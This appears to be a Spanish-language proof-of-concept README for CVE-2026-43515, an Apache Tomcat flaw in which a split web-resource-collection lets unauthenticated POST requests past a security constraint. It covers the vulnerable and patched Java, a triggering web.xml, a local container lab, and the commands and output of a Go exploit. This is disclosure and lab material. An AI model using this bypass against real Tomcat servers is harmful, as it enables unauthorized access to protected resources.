
PoC de explotabilidad para CVE-2026-43515 (omisión de restricciones de Apache Tomcat).
Veredicto de explotabilidad: confirmado explotable. Una solicitud POST a un recurso protegido por una configuración dividida
<web-resource-collection>omite la autenticación por completo. La forma requerida deweb.xmles poco común en implementaciones estándar — ver Análisis para más detalles.
CVE-2026-43515 es una vulnerabilidad en la lógica de evaluación de restricciones de seguridad de Apache Tomcat. Cuando un único <security-constraint> define múltiples bloques <web-resource-collection> que comparten el mismo patrón de extensión de URL (por ejemplo, *.html) pero cada uno declara un método HTTP diferente, Tomcat solo aplica la restricción para el método HTTP declarado en la primera colección coincidente. Todas las colecciones posteriores se ignoran silenciosamente.
La intención del administrador:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Lo que Tomcat sin parche realmente aplica:
GET *.html → 401 — restricción aplicada ✓POST *.html → 200 — restricción omitida silenciosamente ✗| Rango afectado | Corregido en |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
El error reside en findSecurityConstraints(Request, Context) en org.apache.catalina.realm.RealmBase. La bandera matched y el índice pos se declararon fuera del bucle por colección:
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
Una vez que collection[0] coincidió con el patrón de extensión *.html, pos se congeló en 0. Por lo tanto, la llamada a findMethod("POST") se ejecutó contra collection[0] (que solo declara GET) y devolvió false. No se agregó ninguna restricción a results para la solicitud POST, y AuthenticatorBase concluyó que la solicitud no estaba sujeta a ninguna restricción.
La corrección (commit 276087d) mueve matched dentro del bucle y reemplaza collection[pos] con collection[j], por lo que cada colección se evalúa de forma independiente:
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
La omisión está confirmada y es reproducible. El registro detallado de Tomcat hace que el mecanismo sea inequívoco:
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
La vulnerabilidad solo se activa bajo un patrón específico de web.xml: un único <security-constraint> con múltiples bloques <web-resource-collection> que comparten el mismo patrón de extensión pero declaran diferentes métodos HTTP.
Esta configuración es válida según la especificación de Servlet, pero poco común en la práctica. La mayoría de las implementaciones:
<http-method> por completo (protegiendo todos los métodos), o<security-constraint> separados por métodoLas implementaciones que utilizan el patrón de colección dividida para aplicar control de acceso detallado por método en patrones de extensión están expuestas.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
├── web.xml # Triggering config: split web-resource-collection
├── logging.properties # FINE-level logging to observe constraint evaluation
└── exploit/
├── exploit.go # PoC — Go
| Herramienta | Versión | Notas |
|---|---|---|
| Podman | ≥ 4.0 | Docker también funciona |
| Go | ≥ 1.22 | Para ejecutar el exploit localmente |
Sin dependencias externas de Go.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
Espere unos segundos, luego verifique:
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
Banderas disponibles:
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| Recurso | Enlace |
|---|---|
| Commit de corrección — 11.0.x | apache/tomcat@276087d |
| Análisis completo — publicación del blog | return-zero.dev/posts/cve-2026-43515 |
Este repositorio está destinado únicamente a fines educativos y análisis de explotabilidad local. Todas las pruebas se realizaron en un entorno de contenedor autoalojado. No ejecute este PoC contra sistemas que no posea o para los que no tenga autorización explícita por escrito para realizar pruebas.
| 10.1.0.M1 – 10.1.54 |
| 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
| Banderas | Valor predeterminado | Descripción |
|---|
-target | http://localhost:8080 | URL base de Tomcat |
-path | /protected/secret.html | Ruta del recurso protegido |
-username | validuser | Nombre de usuario válido para la comprobación de cordura |
-password | s3cret! | Contraseña para la comprobación de cordura |